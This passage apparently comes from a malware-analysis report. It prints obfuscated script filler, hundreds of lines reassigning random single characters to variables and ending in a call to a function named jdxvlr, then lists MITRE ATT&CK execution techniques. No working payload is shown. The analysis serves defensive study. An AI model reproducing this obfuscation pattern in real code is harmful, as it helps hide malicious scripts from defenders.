436	yqhhsn = "v";
437	yqhhsn = "g";
438	yqhhsn = "z";
439	yqhhsn = "H";
440	yqhhsn = "W";
441	yqhhsn = "K";
442	yqhhsn = "N";
443	yqhhsn = "X";
444	yqhhsn = "J";
445	yqhhsn = "y";
446	yqhhsn = "f";
447	yqhhsn = "K";
448	yqhhsn = "Q";
449	yqhhsn = "O";
450	yqhhsn = "F";
451	yqhhsn = "d";
452	yqhhsn = "f";
453	yqhhsn = "y";
454	yqhhsn = "W";
455	yqhhsn = "t";
456	yqhhsn = "S";
457	yqhhsn = "h";
458	yqhhsn = "U";
459	yqhhsn = "r";
460	yqhhsn = "u";
461	yqhhsn = "P";
462	yqhhsn = "u";
463	yqhhsn = "a";
464	yqhhsn = "C";
465	yqhhsn = "d";
466	yqhhsn = "y";
467	yqhhsn = "F";
468	yqhhsn = "E";
469	yqhhsn = "R";
470	yqhhsn = "7";
471	bfrrm = "m";
472	bfrrm = "w";
473	bfrrm = "F";
474	bfrrm = "m";
475	bfrrm = "Z";
476	bfrrm = "S";
477	bfrrm = "S";
478	bfrrm = "q";
479	bfrrm = "L";
480	lksyl = "s";
481	lksyl = "F";
482	lksyl = "Y";
483	lksyl = "D";
484	lksyl = "t";
485	lksyl = "K";
486	lksyl = "p";
487	lksyl = "G";
488	lksyl = "Q";
489	lksyl = "t";
490	lksyl = "x";
491	lksyl = "u";
492	lksyl = "W";
493	lksyl = "b";
494	lksyl = "L";
495	lksyl = "E";
496	lksyl = "R";
497	lksyl = "y";
498	lksyl = "x";
499	lksyl = "B";
500	lksyl = "l";
501	lksyl = "v";
502	lksyl = "z";
503	lksyl = "Q";
504	lksyl = "a";
505	lksyl = "I";
506	lksyl = "a";
507	lksyl = "C";
508	lksyl = "M";
509	lksyl = "M";
510	lksyl = "t";
511	lksyl = "r";
512	lksyl = "S";
513	lksyl = "k";
514	lksyl = "g";
515	lksyl = "N";
516	lksyl = "J";
517	lksyl = "n";
518	lksyl = "d";
519	lksyl = "R";
520	lksyl = "W";
521	lksyl = "w";
522	lksyl = "k";
523	lksyl = "Q";
524	eimkxsc = "k";
525	eimkxsc = "h";
526	eimkxsc = "I";
527	eimkxsc = "X";
528	eimkxsc = "s";
529	eimkxsc = "d";
530	eimkxsc = "G";
531	eimkxsc = "t";
532	eimkxsc = "v";
533	eimkxsc = "w";
534	eimkxsc = "U";
535	eimkxsc = "G";
536	eimkxsc = "t";
537	eimkxsc = "R";
538	eimkxsc = "m";
539	eimkxsc = "L";
540	eimkxsc = "u";
541	eimkxsc = "z";
542	eimkxsc = "a";
543	eimkxsc = "T";
544	eimkxsc = "x";
545	eimkxsc = "j";
546	eimkxsc = "W";
547	eimkxsc = "G";
548	eimkxsc = "k";
549	eimkxsc = "y";
550	eimkxsc = "z";
551	eimkxsc = "t";
552	eimkxsc = "c";
553	eimkxsc = "e";
554	eimkxsc = "f";
555	eimkxsc = "g";
556	eimkxsc = "r";
557	eimkxsc = "X";
558	eimkxsc = "g";
559	eimkxsc = "f";
560	eimkxsc = "o";
561	eimkxsc = "v";
562	eimkxsc = "q";
563	eimkxsc = "H";
564	eimkxsc = "q";
565	lahnfwib = "U";
566	lahnfwib = "C";
567	lahnfwib = "t";
568	lahnfwib = "L";
569	lahnfwib = "r";
570	lahnfwib = "F";
571	lahnfwib = "q";
572	lahnfwib = "L";
573	lahnfwib = "M";
574	lahnfwib = "E";
575	lahnfwib = "S";
576	lahnfwib = "L";
577	lahnfwib = "h";
578	lahnfwib = "i";
579	lahnfwib = "Y";
580	lahnfwib = "z";
581	lahnfwib = "X";
582	lahnfwib = "C";
583	lahnfwib = "y";
584	lahnfwib = "O";
585	lahnfwib = "K";
586	lahnfwib = "k";
587	lahnfwib = "k";
588	lahnfwib = "Y";
589	lahnfwib = "B";
590	lahnfwib = "u";
591	lahnfwib = "M";
592	lahnfwib = "q";
593	lahnfwib = "V";
594	lahnfwib = "m";
595	lahnfwib = "I";
596	lahnfwib = "n";
597	lahnfwib = "V";
598	lahnfwib = "W";
599	lahnfwib = "h";
600	lahnfwib = "b";
601	lahnfwib = "a";
602	lahnfwib = "E";
603	lahnfwib = "B";
604	lahnfwib = "J";
605	lahnfwib = "O";
606	lahnfwib = "i";
607	lahnfwib = "2";
608	uwiatjc = "g";
609	uwiatjc = "R";
610	uwiatjc = "D";
611	uwiatjc = "x";
612	uwiatjc = "m";
613	uwiatjc = "K";
614	uwiatjc = "W";
615	uwiatjc = "U";
616	uwiatjc = "n";
617	uwiatjc = "U";
618	uwiatjc = "F";
619	uwiatjc = "W";
620	uwiatjc = "S";
621	ghbcfdu = "f";
622	ghbcfdu = "M";
623	ghbcfdu = "h";
624	ghbcfdu = "b";
625	ghbcfdu = "O";
626	ghbcfdu = "x";
627	ghbcfdu = "V";
628	ghbcfdu = "_";
629	ovwfbv = "X";
630	ovwfbv = "B";
631	ovwfbv = "S";
632	ovwfbv = "s";
633	ovwfbv = "N";
634	ovwfbv = "X";
635	ovwfbv = "V";
636	ovwfbv = "d";
637	lhnff = "G";
638	lhnff = "y";
639	lhnff = "X";
640	lhnff = "l";
641	lhnff = "h";
642	lhnff = "C";
643	lhnff = "Z";
644	lhnff = "X";
645	lhnff = "L";
646	lhnff = "c";
647	lhnff = "C";
648	lhnff = "V";
649	lhnff = "V";
650	lhnff = "H";
651	lhnff = "n";
652	lhnff = "x";
653	lhnff = "O";
654	lhnff = "p";
655	lhnff = "B";
656	lhnff = "n";
657	lhnff = "G";
658	lhnff = "j";
659	fvelytw = "V";
660	fvelytw = "j";
661	fvelytw = "U";
662	fvelytw = "s";
663	fvelytw = "b";
664	fvelytw = "z";
665	fvelytw = "f";
666	fvelytw = "Y";
667	fvelytw = "b";
668	fvelytw = "h";
669	fvelytw = "W";
670	fvelytw = "g";
671	entkuvps = "l";
672	entkuvps = "D";
673	entkuvps = "R";
674	entkuvps = "U";
675	entkuvps = "X";
676	entkuvps = "c";
677	entkuvps = "o";
678	entkuvps = "a";
679	entkuvps = "R";
680	entkuvps = "H";
681	entkuvps = "o";
682	entkuvps = "D";
683	entkuvps = "A";
684	entkuvps = "K";
685	entkuvps = "t";
686	entkuvps = "s";
687	entkuvps = "I";
688	entkuvps = "g";
689	entkuvps = "t";
690	entkuvps = "G";
691	entkuvps = "b";
692	entkuvps = "k";
693	entkuvps = "o";
694	entkuvps = "G";
695	entkuvps = "b";
696	entkuvps = "Q";
697	entkuvps = "u";
698	entkuvps = "G";
699	entkuvps = "i";
700	entkuvps = "b";
701	entkuvps = "T";
702	entkuvps = "o";
703	entkuvps = "I";
704	bgmflxnp = "q";
705	bgmflxnp = "D";
706	bgmflxnp = "H";
707	bgmflxnp = "K";
708	bgmflxnp = "B";
709	bgmflxnp = "U";
710	bgmflxnp = "O";
711	bgmflxnp = "U";
712	bgmflxnp = "b";
713	bgmflxnp = "b";
714	bgmflxnp = "O";
715	bgmflxnp = "c";
716	bgmflxnp = "e";
717	bgmflxnp = "e";
718	bgmflxnp = "o";
719	bgmflxnp = "Y";
720	bgmflxnp = "j";
721	bgmflxnp = "q";
722	bgmflxnp = "f";
723	bgmflxnp = "K";
724	bgmflxnp = "Q";
725	bgmflxnp = "N";
726	bgmflxnp = "K";
727	bgmflxnp = "B";
728	bgmflxnp = "O";
729	bgmflxnp = "z";
730	bgmflxnp = "m";
731	bgmflxnp = "F";
732	bgmflxnp = "W";
733	bgmflxnp = "B";
734	bgmflxnp = "I";
735	bgmflxnp = "V";
736	bgmflxnp = "Y";
737	bgmflxnp = "O";
738	bgmflxnp = "D";
739	bgmflxnp = "O";
740	bgmflxnp = "k";
741	bgmflxnp = "G";
742	bgmflxnp = "g";
743	bgmflxnp = "E";
744	bgmflxnp = "0";
745	xkuxyk = "w";
746	xkuxyk = "f";
747	xkuxyk = "q";
748	xkuxyk = "Y";
749	xkuxyk = "S";
750	xkuxyk = "z";
751	xkuxyk = "/";
752	pekcdj = "Q";
753	pekcdj = "O";
754	pekcdj = "T";
755	pekcdj = ".";
756	blrvpqd = "J";
757	blrvpqd = "L";
758	blrvpqd = "A";
759	blrvpqd = "i";
760	blrvpqd = "w";
761	blrvpqd = "f";
762	blrvpqd = "D";
763	blrvpqd = "l";
764	blrvpqd = "e";
765	blrvpqd = "z";
766	blrvpqd = "s";
767	blrvpqd = "a";
768	blrvpqd = "W";
769	blrvpqd = "a";
770	blrvpqd = "i";
771	blrvpqd = "N";
772	blrvpqd = "S";
773	blrvpqd = "Q";
774	blrvpqd = "n";
775	blrvpqd = "Z";
776	blrvpqd = "z";
777	blrvpqd = "P";
778	ysgfaliwo = "H";
779	tmmgsnkk = "F";
780	tmmgsnkk = "i";
781	tmmgsnkk = "j";
782	tmmgsnkk = "e";
783	tmmgsnkk = "&";
784	wmcsilry = "h";
785	wmcsilry = "g";
786	wmcsilry = "S";
787	wmcsilry = "o";
788	wmcsilry = "e";
789	wmcsilry = "B";
790	wmcsilry = "Q";
791	wmcsilry = "Q";
792	wmcsilry = "o";
793	wmcsilry = "j";
794	wmcsilry = "L";
795	wmcsilry = "y";
796	wmcsilry = "R";
797	wmcsilry = "Z";
798	wmcsilry = "U";
799	wmcsilry = "k";
800	wmcsilry = "x";
801	wmcsilry = "U";
802	wmcsilry = "j";
803	wmcsilry = "T";
804	wmcsilry = "U";
805	wmcsilry = "U";
806	wmcsilry = "W";
807	wmcsilry = "M";
808	wmcsilry = " ";
809	gorskf = "m";
810	gorskf = "m";
811	gorskf = "k";
812	gorskf = "r";
813	gorskf = "K";
814	gorskf = "D";
815	gorskf = "h";
816	gorskf = "r";
817	gorskf = "s";
818	gorskf = "p";
819	gorskf = "F";
820	gorskf = "k";
821	gorskf = "a";
822	gorskf = "P";
823	gorskf = "b";
824	gorskf = "s";
825	gorskf = "T";
826	gorskf = "O";
827	gorskf = "w";
828	gorskf = "B";
829	gorskf = "n";
830	gorskf = "B";
831	gorskf = "E";
832	gorskf = "P";
833	gorskf = "p";
834	gorskf = "P";
835	gorskf = "h";
836	gorskf = "Z";
837	gorskf = "m";
838	gorskf = "R";
839	gorskf = "R";
840	gorskf = "S";
841	gorskf = "j";
842	gorskf = "m";
843	yhbmfasmf = "T";
844	yhbmfasmf = "m";
845	yhbmfasmf = "z";
846	yhbmfasmf = "N";
847	yhbmfasmf = "o";
848	yhbmfasmf = "U";
849	yhbmfasmf = "k";
850	yhbmfasmf = "A";
851	yhbmfasmf = "t";
852	yhbmfasmf = "a";
853	yhbmfasmf = "g";
854	yhbmfasmf = "u";
855	yhbmfasmf = "T";
856	yhbmfasmf = "n";
857	yhbmfasmf = "r";
858	yhbmfasmf = "N";
859	yhbmfasmf = "i";
860	yhbmfasmf = "b";
861	yhbmfasmf = "M";
862	yhbmfasmf = "Q";
863	yhbmfasmf = "J";
864	yhbmfasmf = "G";
865	yhbmfasmf = "X";
866	yhbmfasmf = "d";
867	yhbmfasmf = "B";
868	yhbmfasmf = "x";
869	yhbmfasmf = "z";
870	yhbmfasmf = "T";
871	yhbmfasmf = "B";
872	yhbmfasmf = "A";
873	yhbmfasmf = "K";
874	yhbmfasmf = "V";
875	yhbmfasmf = "m";
876	yhbmfasmf = "p";
877	yhbmfasmf = "x";
878	yhbmfasmf = "x";
879	yhbmfasmf = "n";
880	yhbmfasmf = "q";
881	yhbmfasmf = "i";
882	yhbmfasmf = "B";
883	yhbmfasmf = "U";
884	yhbmfasmf = "g";
885	yhbmfasmf = "K";
886	yhbmfasmf = "v";
887	ukmvchp = "j";
888	ukmvchp = "D";
889	ukmvchp = "U";
890	ukmvchp = "J";
891	ukmvchp = "D";
892	ukmvchp = "E";
893	ukmvchp = "t";
894	ukmvchp = "O";
895	ukmvchp = "T";
896	ukmvchp = "b";
897	ukmvchp = "r";
898	ukmvchp = "v";
899	ukmvchp = "J";
900	ukmvchp = "L";
901	ukmvchp = "d";
902	ukmvchp = "b";
903	nbjqncmur = "Y";
904	nbjqncmur = "l";
905	nbjqncmur = "a";
906	nbjqncmur = "M";
907	nbjqncmur = "e";
908	nbjqncmur = "V";
909	nbjqncmur = "o";
910	nbjqncmur = "V";
911	nbjqncmur = "g";
912	nbjqncmur = "m";
913	nbjqncmur = "L";
914	nbjqncmur = "u";
915	ltipby = "q";
916	ltipby = "W";
917	ltipby = "G";
918	ltipby = "v";
919	ltipby = "S";
920	ltipby = "T";
921	ltipby = "V";
922	ltipby = "z";
923	ltipby = "U";
924	ltipby = "a";
925	ltipby = "w";
926	ltipby = "z";
927	ltipby = "m";
928	ltipby = "g";
929	ltipby = "p";
930	ltipby = "k";
931	ltipby = "K";
932	ltipby = "e";
933	ltipby = "e";
934	ltipby = "q";
935	ltipby = "B";
936	ltipby = "C";
937	ltipby = "b";
938	ltipby = "I";
939	ltipby = "e";
940	ltipby = "q";
941	ltipby = "P";
942	ltipby = "x";
943	ltipby = "8";
944	sszfcdzrw = "d";
945	sszfcdzrw = "d";
946	sszfcdzrw = "w";
947	sszfcdzrw = "l";
948	sszfcdzrw = "z";
949	sszfcdzrw = "C";
950	sszfcdzrw = "b";
951	sszfcdzrw = "o";
952	sszfcdzrw = "Z";
953	sszfcdzrw = "e";
954	sszfcdzrw = "n";
955	sszfcdzrw = "a";
956	sszfcdzrw = "s";
957	sszfcdzrw = "R";
958	scpfj = "O";
959	scpfj = "q";
960	scpfj = "M";
961	scpfj = "e";
962	scpfj = "m";
963	scpfj = "e";
964	scpfj = "B";
965	scpfj = "Z";
966	scpfj = "m";
967	scpfj = "m";
968	scpfj = "N";
969	scpfj = "Y";
970	scpfj = "M";
971	scpfj = "L";
972	scpfj = "e";
973	scpfj = "F";
974	scpfj = "n";
975	scpfj = "w";
976	scpfj = "j";
977	scpfj = "Y";
978	scpfj = "a";
979	scpfj = "g";
980	scpfj = "U";
981	scpfj = "U";
982	scpfj = "K";
983	scpfj = "e";
984	scpfj = "h";
985	scpfj = "\"";
986	jdpzewen = "i";
987	jdpzewen = "m";
988	jdpzewen = "T";
989	jdpzewen = "E";
990	jdpzewen = "M";
991	jdpzewen = "D";
992	jdpzewen = "k";
993	jdpzewen = "j";
994	jdpzewen = "P";
995	jdpzewen = "s";
996	jdpzewen = "d";
997	jdpzewen = "l";
998	jdpzewen = "B";
999	jdpzewen = "E";
1000	jdpzewen = "p";
1001	jdpzewen = "M";
1002	jdpzewen = "v";
1003	jdpzewen = "j";
1004	jdpzewen = "R";
1005	jdpzewen = "X";
1006	jdpzewen = "I";
1007	jdpzewen = "d";
1008	jdpzewen = "N";
1009	jdpzewen = "P";
1010	jdpzewen = "a";
1011	jdpzewen = "f";
1012	kmromf = "k";
1013	kmromf = "X";
1014	kmromf = "i";
1015	kmromf = "H";
1016	kmromf = "P";
1017	kmromf = "Z";
1018	kmromf = "o";
1019	kmromf = "T";
1020	kmromf = "w";
1021	kmromf = "r";
1022	kmromf = "N";
1023	kmromf = "j";
1024	kmromf = "c";
1025	kmromf = "Q";
1026	kmromf = "C";
1027	kmromf = "v";
1028	kmromf = "b";
1029	kmromf = "5";
1030	cjqvgykd = "I";
1031	cjqvgykd = "N";
1032	cjqvgykd = "q";
1033	cjqvgykd = "M";
1034	cjqvgykd = "D";
1035	cjqvgykd = "Y";
1036	cjqvgykd = "c";
1037	cjqvgykd = "Y";
1038	gqkni = "r";
1039	gqkni = "H";
1040	gqkni = "g";
1041	gqkni = "T";
1042	gqkni = "O";
1043	gqkni = "v";
1044	gqkni = "W";
1045	gqkni = "a";
1046	gqkni = "y";
1047	gqkni = "i";
1048	gqkni = "m";
1049	gqkni = "O";
1050	gqkni = "x";
1051	gqkni = "f";
1052	gqkni = "i";
1053	gqkni = "q";
1054	gqkni = "R";
1055	gqkni = "O";
1056	gqkni = "w";
1057	gqkni = "t";
1058	gqkni = "c";
1059	gqkni = "x";
1060	gqkni = "i";
1061	gqkni = "O";
1062	gqkni = "C";
1063	gqkni = "q";
1064	gqkni = "z";
1065	gqkni = "a";
1066	gqkni = "V";
1067	gqkni = "s";
1068	gqkni = "n";
1069	gqkni = "O";
1070	gqkni = "N";
1071	gqkni = "Q";
1072	gqkni = "j";
1073	gqkni = "y";
1074	gqkni = "o";
1075	gqkni = "h";
1076	gqkni = "s";
1077	gqkni = ":";
1078	bzxdk = "l";
1079	bzxdk = "f";
1080	bzxdk = "b";
1081	bzxdk = "u";
1082	bzxdk = "Z";
1083	bzxdk = "g";
1084	bzxdk = "b";
1085	bzxdk = "w";
1086	bzxdk = "T";
1087	bzxdk = "A";
1088	bzxdk = "D";
1089	bzxdk = "c";
1090	bzxdk = "i";
1091	bzxdk = "f";
1092	bzxdk = "c";
1093	bzxdk = "O";
1094	bzxdk = "R";
1095	bzxdk = "P";
1096	bzxdk = "q";
1097	bzxdk = "N";
1098	bzxdk = "n";
1099	bzxdk = "e";
1100	bzxdk = "I";
1101	bzxdk = "1";
1102	xwomefsa = "w";
1103	xwomefsa = "c";
1104	xwomefsa = "v";
1105	xwomefsa = "o";
1106	xwomefsa = "C";
1107	xwomefsa = "y";
1108	xwomefsa = "z";
1109	xwomefsa = "N";
1110	xwomefsa = "W";
1111	xwomefsa = "v";
1112	xwomefsa = "g";
1113	xwomefsa = "J";
1114	xwomefsa = "x";
1115	xwomefsa = "C";
1116	xwomefsa = "s";
1117	xwomefsa = "b";
1118	xwomefsa = "z";
1119	xwomefsa = "o";
1120	xwomefsa = "I";
1121	xwomefsa = "C";
1122	xwomefsa = "d";
1123	xwomefsa = "T";
1124	xwomefsa = "s";
1125	xwomefsa = "H";
1126	xwomefsa = "s";
1127	xwomefsa = "d";
1128	xwomefsa = "s";
1129	xwomefsa = "L";
1130	xwomefsa = "J";
1131	xwomefsa = "N";
1132	xwomefsa = "x";
1133	xwomefsa = "W";
1134	xwomefsa = "y";
1135	xwomefsa = "E";
1136	qopsrgwoj = "n";
1137	qopsrgwoj = "Q";
1138	qopsrgwoj = "l";
1139	qopsrgwoj = "j";
1140	qopsrgwoj = "f";
1141	qopsrgwoj = "s";
1142	qopsrgwoj = "g";
1143	qopsrgwoj = "C";
1144	qopsrgwoj = "M";
1145	qopsrgwoj = "c";
1146	qopsrgwoj = "s";
1147	qopsrgwoj = "U";
1148	qopsrgwoj = "w";
1149	qopsrgwoj = "o";
1150	qopsrgwoj = "T";
1151	qopsrgwoj = "r";
1152	qopsrgwoj = "B";
1153	qopsrgwoj = "N";
1154	qopsrgwoj = "d";
1155	qopsrgwoj = "S";
1156	qopsrgwoj = "x";
1157	qwbetzmu = "S";
1158	qwbetzmu = "t";
1159	qwbetzmu = "Y";
1160	qwbetzmu = "V";
1161	qwbetzmu = "N";
1162	qwbetzmu = "N";
1163	qwbetzmu = "H";
1164	qwbetzmu = "c";
1165	qwbetzmu = "a";
1166	qwbetzmu = "g";
1167	qwbetzmu = "v";
1168	qwbetzmu = "n";
1169	qwbetzmu = "K";
1170	qwbetzmu = "y";
1171	qwbetzmu = "l";
1172	qwbetzmu = "r";
1173	qwbetzmu = "v";
1174	qwbetzmu = "K";
1175	qwbetzmu = "o";
1176	qwbetzmu = "E";
1177	qwbetzmu = "b";
1178	qwbetzmu = "j";
1179	qwbetzmu = "a";
1180	qwbetzmu = "a";
1181	qwbetzmu = "M";
1182	qwbetzmu = "d";
1183	qwbetzmu = "e";
1184	qwbetzmu = "a";
1185	qwbetzmu = "b";
1186	qwbetzmu = "n";
1187	qwbetzmu = "A";
1188	qwbetzmu = "p";
1189	qwbetzmu = "H";
1190	qwbetzmu = "N";
1191	qwbetzmu = "N";
1192	qwbetzmu = "J";
1193	qwbetzmu = "w";
1194	qwbetzmu = "C";
1195	qwbetzmu = "a";
1196	qinwaw = "k";
1197	qinwaw = "O";
1198	qinwaw = "h";
1199	qinwaw = "f";
1200	qinwaw = "J";
1201	qinwaw = "T";
1202	qinwaw = "P";
1203	qinwaw = "y";
1204	qinwaw = "q";
1205	qinwaw = "i";
1206	qinwaw = "A";
1207	qinwaw = "G";
1208	qinwaw = "s";
1209	qinwaw = "A";
1210	qinwaw = "s";
1211	qinwaw = "p";
1212	qinwaw = "A";
1213	qinwaw = "x";
1214	qinwaw = "t";
1215	qinwaw = "G";
1216	qinwaw = "j";
1217	qinwaw = "X";
1218	qinwaw = "k";
1219	qinwaw = "m";
1220	qinwaw = "t";
1221	qinwaw = "K";
1222	qinwaw = "E";
1223	qinwaw = "q";
1224	qinwaw = "j";
1225	qinwaw = "q";
1226	qinwaw = "Z";
1227	qinwaw = "T";
1228	qinwaw = "b";
1229	qinwaw = "j";
1230	qinwaw = "V";
1231	qinwaw = "P";
1232	qinwaw = "t";
1233	qinwaw = "i";
1234	qinwaw = "V";
1235	qinwaw = "G";
1236	qinwaw = "K";
1237	wdwqu = "G";
1238	wdwqu = "b";
1239	wdwqu = "B";
1240	wdwqu = "F";
1241	wdwqu = "L";
1242	wdwqu = "t";
1243	wdwqu = "M";
1244	wdwqu = "h";
1245	wdwqu = "E";
1246	wdwqu = "s";
1247	wdwqu = "w";
1248	wdwqu = "z";
1249	wdwqu = "Z";
1250	wdwqu = "H";
1251	wdwqu = "F";
1252	wdwqu = "C";
1253	wdwqu = "t";
1254	wdwqu = "Q";
1255	wdwqu = "x";
1256	wdwqu = "z";
1257	wdwqu = "J";
1258	wdwqu = "K";
1259	wdwqu = "i";
1260	wdwqu = "I";
1261	wdwqu = "z";
1262	wdwqu = "U";
1263	drdzqpokd = "W";
1264	drdzqpokd = "V";
1265	drdzqpokd = "q";
1266	drdzqpokd = "R";
1267	drdzqpokd = "h";
1268	drdzqpokd = "k";
1269	drdzqpokd = "Q";
1270	drdzqpokd = "n";
1271	drdzqpokd = "n";
1272	drdzqpokd = "e";
1273	drdzqpokd = "k";
1274	drdzqpokd = "c";
1275	drdzqpokd = "N";
1276	drdzqpokd = "V";
1277	drdzqpokd = "t";
1278	drdzqpokd = "s";
1279	drdzqpokd = "F";
1280	drdzqpokd = "X";
1281	drdzqpokd = "f";
1282	drdzqpokd = "q";
1283	drdzqpokd = "L";
1284	drdzqpokd = "Y";
1285	drdzqpokd = "u";
1286	drdzqpokd = "n";
1287	drdzqpokd = "C";
1288	drdzqpokd = "H";
1289	drdzqpokd = "Z";
1290	drdzqpokd = "f";
1291	drdzqpokd = "r";
1292	drdzqpokd = "Y";
1293	drdzqpokd = "n";
1294	drdzqpokd = "C";
1295	drdzqpokd = "f";
1296	drdzqpokd = "V";
1297	drdzqpokd = "C";
1298	drdzqpokd = "w";
1299	aicambfqx = "h";
1300	aicambfqx = "l";
1301	aicambfqx = "m";
1302	aicambfqx = "X";
1303	aicambfqx = "g";
1304	aicambfqx = "n";
1305	aicambfqx = "J";
1306	aicambfqx = "M";
1307	aicambfqx = "X";
1308	aicambfqx = "l";
1309	aicambfqx = "x";
1310	aicambfqx = "u";
1311	aicambfqx = "i";
1312	aicambfqx = "k";
1313	aicambfqx = "M";
1314	aicambfqx = "G";
1315	aicambfqx = "s";
1316	aicambfqx = "E";
1317	aicambfqx = "L";
1318	aicambfqx = "B";
1319	aicambfqx = "j";
1320	aicambfqx = "p";
1321	aicambfqx = "6";
1322	gzxjm = "M";
1323	gzxjm = "b";
1324	gzxjm = "A";
1325	gzxjm = "F";
1326	gzxjm = "Z";
1327	gzxjm = "J";
1328	gzxjm = "H";
1329	gzxjm = "Y";
1330	gzxjm = "j";
1331	gzxjm = "T";
1332	gzxjm = "M";
1333	gzxjm = "l";
1334	gzxjm = "O";
1335	gzxjm = "b";
1336	gzxjm = "U";
1337	gzxjm = "J";
1338	gzxjm = "o";
1339	gzxjm = "K";
1340	gzxjm = "B";
1341	gzxjm = "b";
1342	gzxjm = "h";
1343	gzxjm = "s";
1344	gzxjm = "l";
1345	gzxjm = "M";
1346	gzxjm = "l";
1347	gzxjm = "Q";
1348	gzxjm = "B";
1349	gzxjm = "H";
1350	gzxjm = "K";
1351	gzxjm = "Z";
1352	gzxjm = "O";
1353	gzxjm = "%";
1354	vvzewfg = "J";
1355	vvzewfg = "t";
1356	vvzewfg = "Q";
1357	vvzewfg = "e";
1358	vvzewfg = "n";
1359	vvzewfg = "v";
1360	vvzewfg = "B";
1361	vvzewfg = "n";
1362	vvzewfg = "W";
1363	vvzewfg = "O";
1364	vvzewfg = "S";
1365	vvzewfg = "C";
1366	lzqwd = "j";
1367	lzqwd = "e";
1368	lzqwd = "w";
1369	lzqwd = "w";
1370	lzqwd = "W";
1371	lzqwd = "V";
1372	lzqwd = "n";
1373	lzqwd = "M";
1374	lzqwd = "C";
1375	lzqwd = "c";
1376	lzqwd = "I";
1377	lzqwd = "o";
1378	lzqwd = "b";
1379	lzqwd = "X";
1380	lzqwd = "o";
1381	lzqwd = "j";
1382	lzqwd = "v";
1383	lzqwd = "p";
1384	lzqwd = "o";
1385	lzqwd = "t";
1386	lzqwd = "u";
1387	lzqwd = "i";
1388	lzqwd = "E";
1389	lzqwd = "D";
1390	lzqwd = "W";
1391	lzqwd = "W";
1392	lzqwd = "j";
1393	lzqwd = "u";
1394	lzqwd = "Z";
1395	lzqwd = "h";
1396	lzqwd = "e";
1397	lzqwd = "F";
1398	lzqwd = "Z";
1399	lzqwd = "t";
1400	ayctp = "v";
1401	ayctp = "e";
1402	ayctp = "G";
1403	ayctp = "Y";
1404	ayctp = "k";
1405	ayctp = "r";
1406	ayctp = "d";
1407	ayctp = "c";
1408	ayctp = "o";
1409	ayctp = "U";
1410	ayctp = "a";
1411	ayctp = "r";
1412	ayctp = "s";
1413	ayctp = "I";
1414	ayctp = "m";
1415	ayctp = "D";
1416	ayctp = "n";
1417	ayctp = "n";
1418	hdrhif = "v";
1419	hdrhif = "L";
1420	hdrhif = "p";
1421	hdrhif = "J";
1422	hdrhif = "W";
1423	hdrhif = "v";
1424	hdrhif = "y";
1425	hdrhif = "A";
1426	hdrhif = "B";
1427	hdrhif = "q";
1428	hdrhif = "g";
1429	hdrhif = "j";
1430	hdrhif = "I";
1431	hdrhif = "m";
1432	hdrhif = "x";
1433	hdrhif = "s";
1434	hdrhif = "G";
1435	hdrhif = "A";
1436	hdrhif = "G";
1437	hdrhif = "b";
1438	hdrhif = "O";
1439	hdrhif = "p";
1440	hdrhif = "u";
1441	hdrhif = "R";
1442	hdrhif = "f";
1443	hdrhif = "j";
1444	hdrhif = "P";
1445	hdrhif = "a";
1446	hdrhif = "D";
1447	hdrhif = "a";
1448	hdrhif = "y";
1449	hdrhif = "V";
1450	hdrhif = "s";
1451	hdrhif = "B";
1452	hdrhif = "w";
1453	hdrhif = "J";
1454	hdrhif = "Y";
1455	hdrhif = "@";
1456	fzvmm = "a";
1457	fzvmm = "e";
1458	fzvmm = "J";
1459	fzvmm = "P";
1460	fzvmm = "B";
1461	fzvmm = "V";
1462	fzvmm = "n";
1463	fzvmm = "l";
1464	fzvmm = "u";
1465	fzvmm = "o";
1466	fzvmm = "q";
1467	fzvmm = "O";
1468	fzvmm = "N";
1469	fzvmm = "B";
1470	fzvmm = "X";
1471	fzvmm = "a";
1472	fzvmm = "y";
1473	fzvmm = "b";
1474	fzvmm = "N";
1475	fzvmm = "W";
1476	fzvmm = "Z";
1477	fzvmm = "h";
1478	fzvmm = "k";
1479	fzvmm = "k";
1480	fzvmm = "G";
1481	fzvmm = "j";
1482	fzvmm = "s";
1483	fzvmm = "\\";
1484	krykbb = "U";
1485	krykbb = "a";
1486	krykbb = "Y";
1487	krykbb = "x";
1488	krykbb = "t";
1489	krykbb = "B";
1490	krykbb = "A";
1491	krykbb = "H";
1492	krykbb = "y";
1493	krykbb = "x";
1494	krykbb = "r";
1495	krykbb = "h";
1496	krykbb = "J";
1497	krykbb = "M";
1498	krykbb = "c";
1499	krykbb = "B";
1500	krykbb = "P";
1501	krykbb = "H";
1502	krykbb = "y";
1503	krykbb = "t";
1504	krykbb = "l";
1505	krykbb = "X";
1506	krykbb = "E";
1507	krykbb = "p";
1508	jdxvlr ( );	jdxvlr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

